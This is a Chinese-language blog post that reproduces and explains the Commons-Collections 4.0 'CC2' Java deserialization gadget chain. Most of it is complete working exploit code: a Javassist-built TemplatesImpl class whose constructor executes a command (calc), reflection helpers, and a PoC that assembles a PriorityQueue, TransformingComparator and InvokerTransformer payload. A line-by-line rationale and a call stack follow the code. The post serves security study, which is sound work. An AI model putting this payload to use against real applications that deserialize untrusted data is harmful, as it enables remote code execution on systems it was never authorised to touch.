前言代码复现
工具类PoC 代码审计 | 原理分析
1. InvokerTransformer.transform()反射调用TemplatesImpl.newTransformer()2. TransformingComparator.compare()调用this.transformer.transform()3. PriorityQueue反序列化调用comparator.compare()为什么PriorityQueue还要再添加一个元素?为什么向PriorityQueue添加1、InvokerTransformer调用toString,再用反射修改?为什么修改PriorityQueue的元素要修改queue属性? POP链完
前言java选用8u111做复现
根据ysoserial提示,需要cc4.0版本
代码复现 工具类org.apache.commons commons-collections4 4.0
为了方便其他反序列化链,我把代码都封装了
生成恶意TemplatesImpl:
TemplatesGeneratorPacked/GetAbstractTranslet.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
public class GetAbstractTranslet {
public static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("e");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{Runtime.getRuntime().exec("calc");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
TemplatesGeneratorPacked/GetTemplatesImpl.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;
public class GetTemplatesImpl {
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GetAbstractTranslet.generate()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
ValueGetterSetter.setValue(templates, "_name", "a");
ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
反射get/set:
ReflectPacked/ValueGetterSetter.java
package ReflectPacked;
import java.lang.reflect.Field;
public class ValueGetterSetter {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}
反序列化:
UnserializePacked.Unserialize.java
package UnserializePacked;
import java.io.*;
public class Unserialize {
public static void unserialize(Object obj) throws Exception{
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
PoC
package cc.cc2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;
public class PoC {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
ValueGetterSetter.setValue(transformer, "iMethodName", "newTransformer");
Object[] queueArray = (Object[]) ValueGetterSetter.getValue(queue, "queue");
queueArray[0] = templates;
Unserialize.unserialize(queue);
}
}
代码审计 | 原理分析
1. InvokerTransformer.transform()反射调用TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer()触发_bytecodes的类加载的原理不再赘述
『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞
InvokerTransformer在实例化的时候传入指定方法名、参数类型、参数值,调用transformer()传入Object就会通过反射调用该方法
因此我们需要一个InvokerTransformer调用newTransformer()
compare()调用this.transformer.transform(),先比较第一个元素
this.transformer来自构造器传参
因此我们要实例化TransformingComparator传入InvokerTransformer
PriorityQueue重写了readObject,会调用heapify()
如果设置了comparator进入siftDownUsingComparator()
然后调用comparator.compare()
如果PriorityQueue只有一个元素就进不去siftDown
而且compare()也是要求传入两个元素比较的
最开始看链子发现这里为什么要用反射
因为PriorityQueue的add方法会调用comparator(),否则会抛出错误,所以实例化PriorityQueue的时候InvokerTransformer要调用int 1有的方法,所以先调用了toString,后面再用反射换回newTransformer
至于为什么不直接传入templates,结合上面add的分析:如果传入了就会在生成序列payload的时候在本机触发RCE,所以也是在最后才用反射换回
给PriorityQueue赋值,调用了add方法,然后继续调用offer方法,最后把元素值存入queue
queue是Object数组,反射会获取地址直接修改它本身,而不是复制传值
defineTransletClasses:393, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) unserialize:14, Unserialize (UnserializePacked) main:30, PoC (cc.cc2)完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123408961
版权声明:本文为原创,转载时须注明出处及本声明



